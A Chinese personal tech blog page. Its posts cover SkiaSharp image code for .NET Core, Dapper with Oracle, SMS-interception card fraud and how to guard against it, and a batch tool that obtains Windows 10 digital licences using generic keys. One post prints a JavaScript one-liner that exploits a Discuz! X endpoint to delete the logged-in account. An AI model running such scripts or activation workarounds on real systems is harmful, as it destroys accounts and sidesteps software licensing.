在.Net Core 2.1下使用SkiaSharp进行图片处理

在.Net Core下,没有可以支持跨平台的Drawing类库,官网提供的Common.Drawing只能在Windows下使用,那么在.Net Core下该如何处理图片呢?其实有很多第三方提供了解决方案,而我比较喜欢用的是Mono团队提供的SkiaSharp,原因是稳定而且支持的也很好,性能上也还好。

一、SkiaSharp是什么?

1.Skia介绍

Skia是Google旗下的2D图形处理库,下面是援引百科中的词条:

skia是个2D向量图形处理函数库,包含字型、坐标转换,以及点阵图都有高效能且简洁的表现。不仅用于Google Chrome浏览器,新兴的Android开放手机平台也采用skia作为绘图处理,搭配OpenGL/ES与特定的硬件特征,强化显示的效果。

Skia官网中是这样介绍的:

Skia is an open source 2D graphics library which provides common APIs that work across a variety of hardware and software platforms. It serves as the graphics engine for Google Chrome and Chrome OS, Android, Mozilla Firefox and Firefox OS, and many other products.

2.SkiaSharp介绍

SkiaSharp故名思义,就是在.net下使用Skia API的库,是SkiaSharp是由mono团队开发并进行持续维护,至今已经多年了。目前的最新版本是1.60.3,当前支持.net下的:

  • .NET Standard 1.3

  • .NET Core

  • Tizen

  • Xamarin.Android

  • Xamarin.iOS

  • Xamarin.tvOS

  • Xamarin.watchOS

  • Xamarin.Mac

  • Windows Classic Desktop (Windows.Forms / WPF)

  • Windows UWP (Desktop / Mobile / Xbox / HoloLens)

SkiaSharp项目:https://github.com/mono/SkiaSharp

二、SkiaSharp的安装

可以通过nuget命令进行安装:

nuget install skiasharp

或者在要使用的项目下,打开nuget管理器,搜索skiasharp进行安装。

三、SkiaSharp的使用

1.生成缩略图

这里假设已经安装好SkiaSharp 1.60.3版本。
我们先把要缩略的原图加载到内存中:

using (var input = File.OpenRead($"{PlatformServices.Default.Application.ApplicationBasePath}wwwroot/{pic}"))

这里的变量pic是图片的相对路径。
之后实例化一个SKManagedStream

using (var inputStream = new SKManagedStream(input))

最后,把inputStream加载到SKBitmap画布中

using (var original = SKBitmap.Decode(inputStream))

之后重新设置图片的尺寸,也就是完成缩略处理:

        using (var resized = original
           .Resize(new SKImageInfo(width, height), SKBitmapResizeMethod.Lanczos3))
        {
            if (resized == null) return "";
            using (var image = SKImage.FromBitmap(resized))
            {
                using (var output =
                       File.OpenWrite($"{PlatformServices.Default.Application.ApplicationBasePath}wwwroot/{thumb_name}"))
                {
                    image.Encode(SKEncodedImageFormat.Png,quality)
                        .SaveTo(output);
                }
            }
        }

其中,变量widthheight分别为缩略图的宽度和高度,thumb_name为缩略图要保存的文件名,quality是质量,一般设置为75,或者是其他的自己觉得合适的值。
完整的例子:

using System.IO;
using Microsoft.Extensions.PlatformAbstractions;
using SkiaSharp;

        public static string MakeThumb(string pic,string thumb_dir, int width, int height)
        {
            const int quality = 75; //质量为75%
            using (var input = File.OpenRead($"{PlatformServices.Default.Application.ApplicationBasePath}wwwroot/{pic}"))
            using (var inputStream = new SKManagedStream(input))
            using (var original = SKBitmap.Decode(inputStream))
            {
                string[] arr_pic = pic.Split('/');
                string filename = arr_pic[arr_pic.Length - 1];  //完整文件名
                string[] arr_filename = filename.Split('.');
                string ext = "";
                if (arr_filename.Length >= 2)
                {
                    ext = arr_filename[arr_filename.Length - 1];    //最后一个为扩展名
                }
                string thumb_name = $"{filename.Remove(filename.Length - ext.Length - 1)}-{width}x{height}.png";  //文件名,缩略图保存为png
                string save_dir = $"/attach/{thumb_dir}/thumb/{DateTime.Now.ToString("yyyy-MM-dd")}";
                string savepath = $"{PlatformServices.Default.Application.ApplicationBasePath}wwwroot{save_dir}";
                if (!Directory.Exists(savepath))
                {
                    Directory.CreateDirectory(savepath);
                }
                string thumb_file = $"{save_dir}/{thumb_name}";
                using (var resized = original
                   .Resize(new SKImageInfo(width, height), SKBitmapResizeMethod.Lanczos3))
                {
                    if (resized == null) return "";
                    using (var image = SKImage.FromBitmap(resized))
                    {
                        using (var output =
                               File.OpenWrite($"{savepath}/{thumb_name}"))
                        {
                            image.Encode(SKEncodedImageFormat.Png,quality)
                                .SaveTo(output);
                        }
                    }
                }
                return thumb_file;
            }
        }

2.把指定的字体打印到图片上

其实图片的文字水印、图片验证码都可以从这个例子上扩充出来。
首先还是要安装SkiaSharp,之后,实例化SKImageInfo

var info = new SKImageInfo(width, height);

创建一个新的SKSurface

using (var surface = SKSurface.Create(info))

设置画布背景透明:

var canvas = surface.Canvas;
canvas.Clear(SKColors.White);

设置SKPaint的参数

       var paint = new SKPaint
        {
            Color = SKColors.Black,//颜色
            IsAntialias = true,//抗锯齿
            Style = SKPaintStyle.Fill,
            TextAlign = SKTextAlign.Center,//居中
            TextSize = 40F,//字号
            Typeface= SkiaSharp.SKTypeface.FromFile(fontpath, 0)//加载字体
        };

这里除了指定字体的路径之外,还可以使用SkiaSharp.SKTypeface.FromFamilyName("微软雅黑",SKTypefaceStyle.Bold)来通过字体名来设置要使用的字体;参数fontpath是字体的物理路径。

参数设置好之后,进行绘图:

var coord = new SKPoint(info.Width / 2, (info.Height + paint.TextSize / 2);
canvas.DrawText(text, coord, paint);

最后,生成图片:

using (var image = surface.Snapshot())
using (var data = image.Encode(SKEncodedImageFormat.Png, 100))

一个简单的例子:

using SkiaSharp;
using System.Linq;
        public static byte[] CreateImage(string fontpath, string text,float font_size=100)
        {
            var info = new SKImageInfo(1100, 480);
            using (var surface = SKSurface.Create(info))
            {
                var canvas = surface.Canvas;
                canvas.Clear(SKColors.White);
                
                var paint = new SKPaint
                {
                    Color = SKColors.Black,
                    IsAntialias = true,
                    Style = SKPaintStyle.Fill,
                    TextAlign = SKTextAlign.Center,
                    TextSize = font_size,
                    Typeface= SkiaSharp.SKTypeface.FromFile(fontpath, 0)
                };
                var coord = new SKPoint(info.Width / 2, (info.Height + paint.TextSize) / 2);
                canvas.DrawText(text, coord, paint);                
                using (var image = surface.Snapshot())
                using (var data = image.Encode(SKEncodedImageFormat.Png, 100))
                {
                    return data.ToArray();
                }
            }
        }

这个是指定的文字内容使用指定的字体直接显示到空白图片上,但是不支持文字换行。我们下面的例子是对上面的进行改进,支持文字换行:

public static byte[] CreateImage(string fontpath, string text,float font_size=100)
{
    //支持文字多行
    List<string> list = text.Split('\n').ToList();
    list.RemoveAll(x => { return string.IsNullOrEmpty(x.Trim()); });    //删除空行
    list.Reverse(); //顺序反转
    float line_height = 1.5F;   //行距
    float height = 480;
    if (list.Count * line_height*font_size >= height)
    {
        height = list.Count * line_height * font_size;
    }
    var info = new SKImageInfo(1100, (int)height);
    using (var surface = SKSurface.Create(info))
    {
        var canvas = surface.Canvas;
        canvas.Clear(SKColors.White);
        
        var paint = new SKPaint
        {
            Color = SKColors.Black,
            IsAntialias = true,
            Style = SKPaintStyle.Fill,
            TextAlign = SKTextAlign.Center,
            TextSize = font_size,
            Typeface= SkiaSharp.SKTypeface.FromFile(fontpath, 0)
        };

        int i = 0;
        list.ForEach(x =>
        {
            var coord = new SKPoint(info.Width / 2, (info.Height + paint.TextSize * (list.Count - i) - paint.TextSize * i * 1.5F) / 2);
            canvas.DrawText(x.Trim(), coord, paint);
            i++;
            
        });

        using (var image = surface.Snapshot())
        using (var data = image.Encode(SKEncodedImageFormat.Png, 100))
        {
            return data.ToArray();
        }
    }
}

测试地址:http://tool.dwz.nz/fonts
源码:https://github.com/hongbai/FontsPrint

四、注意事项

如果要在Linux上使用,还需要同时上传libSkiaSharp.so文件,放到与SkiaSharp.dll同一文件夹下。libSkiaSharp.so文件可以在SkiaSharp的github上下载最新的发行版本,下载地址:https://github.com/mono/SkiaSharp/releases

五、总结

通过以上两个例子,我们可以发现,SkiaSharp的使用方法非常简单方便,而且各方面支持的都很不错,支持跨平台。功能上我暂时只在以上两个例子中使用,如果以后在其他方面用到的话,我会继续更新。代码写的丑,多包涵。

以上。

参考:
Skia Graphics Library
Skia 百度百科
SkiaSharp Github项目

关于最近爆发的无卡盗刷的技术上的可能性及防范方法

近日,微信、微博及很多论坛都被曝,自己的银行卡、支付宝、京东等被盗刷,而自己手机就在身边,并且收到几十条甚至几百条短信。下面就说一下可能性及防范方法。

1.手机木马

通过诱惑性的链接或邮件,引导用户安装手机木马,该木马可以拦截用户短信,并且将短信转给攻击人指定的邮箱或服务器上。
防范方法:不要点击可疑的链接及邮件,如果是Android手机,请在设置——>高级设置——>安全,关闭其中的“未知来源应用下载”和“外部来源应用安装”这两项。

2.短信云备份

用户开通短信的云备份功能,每来一条短信,都会被自动备份到用户的云备份空间上,而黑客已经通过其他手段(如社会学破解等)获知用户的云空间密码,可以直接在云空间上得到短信内容。
防范方法:密码尽量复杂(包含大、小写字母,数字及特殊符号),尽量使用无意义的字符组合,与个人信息无关。保护好密码,不要泄露出去。

3.监听GSM无线信号

这也叫做“第三人攻击”,因为GSM信号无加密,攻击者可以监听用户与基站之间的GSM无线信号,从而得到受害者的短信内容,从而实现攻击行为。该技术在非智能机时代就已经有了,但是因为当时设备造价昂贵,而且当时的支付环境没有现在的方便,所以并没有被利用。但是如今设备价格已经从当年的几十万降到了现在的几千块钱,甚至可以几百块钱自己DIY,再加上现在的支付环境便捷,各平台都也都提供了非常方便开通的小额消费贷,催生了一批使用该技术进行盗刷的人。移动、联通目前虽然已经升级为4G网络,但是通话和短信默认还是走的2G网络;电信的2G网络是CDMA技术,目前并不会被监听。
防范方法:法1.如果你用的是移动或联通号码,请开通VoLTE通话,或者当长时间离开手机的时候(比如晚上睡觉时),手机关机或者打开飞行模式;法2.更换电信号码;法3.单独一个号码只给绑定银行卡及各支付平台使用,而且该号码不作为你的日常联系号码使用,避免泄露的风险;法4.对于双卡用户,因为只能设置一张卡为主张,副卡只能用2G网络,只能避免使用移动或者联通号码作为副卡了。

最后,一定取消小额免密支付,另外最好是把每日最高限额调低,这样可以减少损失。不要觉得自己银行卡里没钱就可以,还有很多平台给提供的小额借贷,比如京东白条、支付宝花呗和借呗等。
如果发现有被盗刷的情况,一定要先给各银行及自己已经开通过的支付平台打电话冻结账户,之后报案。

以上。

[工具] Windows10 获取数字许可证 批处理版

直接获取Windows10 数字许可证,同一台电脑,即使重装系统,无需输入许可证密钥,只要联网就能自动永久获得授权.因为你的授权信息已经保存在微软服务器上了.
这是Windows10特有的方式,非KMS方式的180天循环授权.

保留其他授权信息的操作

如果你同时有已授权的Office产品,而又不想失去其授权状态.
你可以做如下操作:

  • 备份系统激活信息.

  • 初始化系统激活信息.

  • 自动激活并获取数字激活许可证.

  • 还原系统激活信息.

  • 仅安装系统初始化密钥.

  • 查看激活状态.

注意

  • 激活时请保持电脑连网状态,否则无法顺利激活。

  • 激活时请保持 Windows Update 服务为启动状态。

  • 如果已使用密钥激活 Office 等产品,会丢失其激活状态。

  • 如果自动激活闪退,请尝试先初始化系统激活信息。

  • 建议: 备份激活信息后再操作。

功能列表

  • 自动激活并获取数字激活许可证。

  • 删除(初始化)系统激活信息。

  • 仅安装系统初始化密钥。

  • 备份系统激活信息。

  • 还原系统激活信息。

  • 查看激活状态。

  • 查看支持列表。

使用须知

  • 获得的数字授权是基于硬件信息的永久授权,非KMS方式循环授权.

  • 该授权方式只适用于Windows10系统.

  • 获取授权时需要联网,重装后自动激活相同版本的系统.

  • 此工具同时支持版本大于等于 Win7(Windows Server 2008) 系统的授权信息查询,备份,还原.

支持的Windows10版本/初始化安装密钥

Windows 10 Cloud

  • V3WVW-N2PV2-CGWC3-34QGF-VMJ2C
    Windows 10 CloudN

  • NH9J3-68WK7-6FB93-4K3DF-DJ4F6
    Windows 10 Core

  • YTMG3-N6DKC-DKB77-7M9GH-8HVX7
    Windows 10 CoreN

  • 4CPRK-NM3K3-X6XXQ-RXX86-WXCHW
    Windows 10 CoreCountrySpecific

  • N2434-X9D7W-8PF6X-8DV9T-8TYMD
    Windows 10 CoreSingleLanguage

  • BT79Q-G7N6G-PGBYW-4YWX6-6F4BT
    Windows 10 Education

  • YNMGQ-8RYV3-4PGQ3-C8XTP-7CFBY
    Windows 10 EducationN

  • 84NGF-MHBT6-FXBX8-QWJK7-DRR8H
    Windows 10 Enterprise

  • XGVPP-NMH47-7TTHJ-W3FW7-8HV2C
    Windows 10 EnterpriseN

  • WGGHN-J84D6-QYCPR-T7PJ7-X766F
    Windows 10 EnterpriseS / LTSB

  • NK96Y-D9CD8-W44CQ-R8YTK-DYJWX
    Windows 10 EnterpriseSN / LTSBN

  • RW7WN-FMT44-KRGBK-G44WK-QV7YK
    Windows 10 Professional

  • VK7JG-NPHTM-C97JM-9MPGT-3V66T
    Windows 10 ProfessionalSingleLanguage

  • G3KNM-CHG6T-R36X3-9QDG6-8M8K9
    Windows 10 ProfessionalN

  • 2B87N-8KFHP-DKV6R-Y2C8J-PKCKT
    Windows 10 ProfessionalEducation

  • 8PTT6-RNW4C-6V7J2-C2D3X-MHBPB
    Windows 10 ProfessionalEducationN

  • GJTYN-HDMQY-FRR76-HVGC7-QPF8P
    Windows 10 ProfessionalWorkstation

  • DXG7C-N36C4-C4HTG-X4T3X-2YV77
    Windows 10 ProfessionalWorkstationN

  • WYPNQ-8C467-V2W6J-TX4WX-WT2RQ

下载地址
批处理版: Win10Activation.zip
SHA1: f15fbb6f96469a209875f2696dca0eacbf4c783d

.Net Core 2.1下,使用Oracle数据库

在.Net Core 2.1下,可以通过Dapper框架非常方便的使用Sql Server、MySQL、PostgreSQL等数据库,但是使用Oracle数据库就没那么方便了,比如执行存储过程的时候返回的游标,就没有对应的类型,另外还需要Oracle的驱动等等。
经过了几天的查阅资料,现在整理下在.Net Core 2.1下通过Dapper使用Oracle数据库的方法。
首先是连接数据库,方法与MySQL中的方法一样,见《在.Net Core 2.0中使用MySQL》,之后需要通过NuGet安装以下包:

  • Dapper

  • Dapper.Oracle

  • Oracle.ManagedDataAccess.Client

其中Oracle.ManagedDataAccess.Client是预发行版,需要勾选“包括预发行版”才能搜索到。
准备工作做好,下面是使用方法:
创建Oracle数据库链接:
var Conn = new OracleConnection(ConnString);

之后创建Oracle动态参数:
var parameters = new OracleDynamicParameters();

之后往动态参数中添加存储过程需要的参数:

parameters.Add("p_czlx", value: transfer.czlx);
parameters.Add("p_bzxx", value: transfer.bzxx);
parameters.Add("ResultStr", dbType: OracleMappingType.Varchar2, direction: ParameterDirection.Output);
parameters.Add("ResultCursor", dbType: OracleMappingType.RefCursor, direction: ParameterDirection.Output);

调用存储过程,得到返回的游标和出参:

var data = Conn.QueryFirstOrDefault<Models.UserMoney>("pkg_web.web_crj_gl", param: parameters, commandType: CommandType.StoredProcedure);
string res = parameters.Get<string>("ResultStr");   //出参

其中Models.UserMoney是游标对应的实体。
相对完整的代码:

using (var Conn = new OracleConnection(ConnString))
{
    var parameters = new OracleDynamicParameters();
    parameters.Add("p_czlx", value: transfer.czlx);
    parameters.Add("p_bzxx", value: transfer.bzxx);
    parameters.Add("ResultStr", dbType: OracleMappingType.Varchar2, direction: ParameterDirection.Output);
    parameters.Add("ResultCursor", dbType: OracleMappingType.RefCursor, direction: ParameterDirection.Output);

    var data = Conn.QueryFirstOrDefault<Models.UserMoney>("pkg_web.web_crj_gl", param: parameters, commandType: CommandType.StoredProcedure);
    string res = parameters.Get<string>("ResultStr");   //出参
    //对出参进行后续处理,省略

}

是不是很简单?
说下引用的这几个包的作用,Dapper就是ORM框架,Dapper.Oracle是针对Oracle重写的Dapper动态参数,Oracle.ManagedDataAccess.Client是Oracle官方提供的Oracle驱动,目前只有预发行版,还没有稳定版。
其实在第一次使用.Net Core+Oracle组合的时候,我也走了很多弯路,查到过好几篇博客提供的重写的OracleDynamicParameters方法,但是取出参的时候类型转换都有问题,本着能用现成的绝不自己手写的码畜精神,终于在gayhub(雾,github)上找到一条回复,提到了Dapper.Oracle,安装了之后果然好用。
希望这篇文章能帮到大家。

(完)

永久删除你在任何 Discuz! X 论坛的帐号

国内知名开源论坛系统Discuz! X论坛爆漏洞,已登录用户可以通过js脚本删除自己的账号。
具体操作如下:
使用Chrome(或火狐等可以使用Console的浏览器)打开任意一个Discuz! X论坛,登录自己的账号,之后F12打开开发者工具,切换到Console界面,输入下面代码:

location.href=((d=(await(await fetch("./home.php?mod=spacecp&ac=avatar",{credentials:'include'})).text()).match(/\/\/\S+\/images\/ca\S+&ag/g)[0].replace('images/camera.swf?','?m=user&a=delete&'))&&confirm('真的要[永久]删除你的ID?'))?d:'';

如果失败,请使用下面的脚本:

(async function(){location.href=((d=(await(await fetch("./home.php?mod=spacecp&ac=avatar",{credentials:'include'})).text()).match(/\/\/\S+\/images\/ca\S+&ag/g)[0].replace('images/camera.swf?','?m=user&a=delete&'))&&confirm('真的要[永久]删除你的ID?'))?d:'';})()

之后执行,会弹出提示“真的要[永久]删除你的ID?”,确认之后会执行删除操作,有以下几点说明:

  • 页面返回数值>0,说明删除成功;

  • 删除的是 UCenter 内的帐号,UCenter 会通知 Discuz! 删除用户帐号;

  • 通知可能出现延迟,或不成功。因此可能不会立即登出网站;

  • 如果通知最终成功,该帐号及其所有帖子都会从 Discuz! 中删除;

  • 如果通知不成功,帐号登出后也将无法登录。此时可以注册一个新的同名帐号,覆盖原帐号。原帐号信息将被删除,其帖子将无法阅读(但不会删除)

参考:永久删除你在任何 Discuz! X 论坛的帐号

分类

最新文章

最近回复

  • 老徐: 已经加上了,抱歉才看到
  • 青山: 某种原因,暂停友链,抱歉。
  • 搬瓦工: 朋友 交换链接吗
  • 飞刀说: 名称:飞刀说 描述:...
  • 青山: 计划搬迁到腾讯云,正...
  • 河边的飞刀: 网站名称:飞刀说 网...
  • 老徐: 具体要哪个呢?
  • 老徐: 是不是有点老?
  • 青山: 哇,林志炫
  • 老白: 哇,这改的可以,能不...

归档

标签云

C# .net core asp.net 情感 SQL mongodb sql server EasyUI 安全 激活 linux 身份验证 https typecho .net sql注入 kms MVC IIS 高并发 IE 坑爹 服务器 mysql Oracle Combobox Datagrid 口语 数据抓取

其它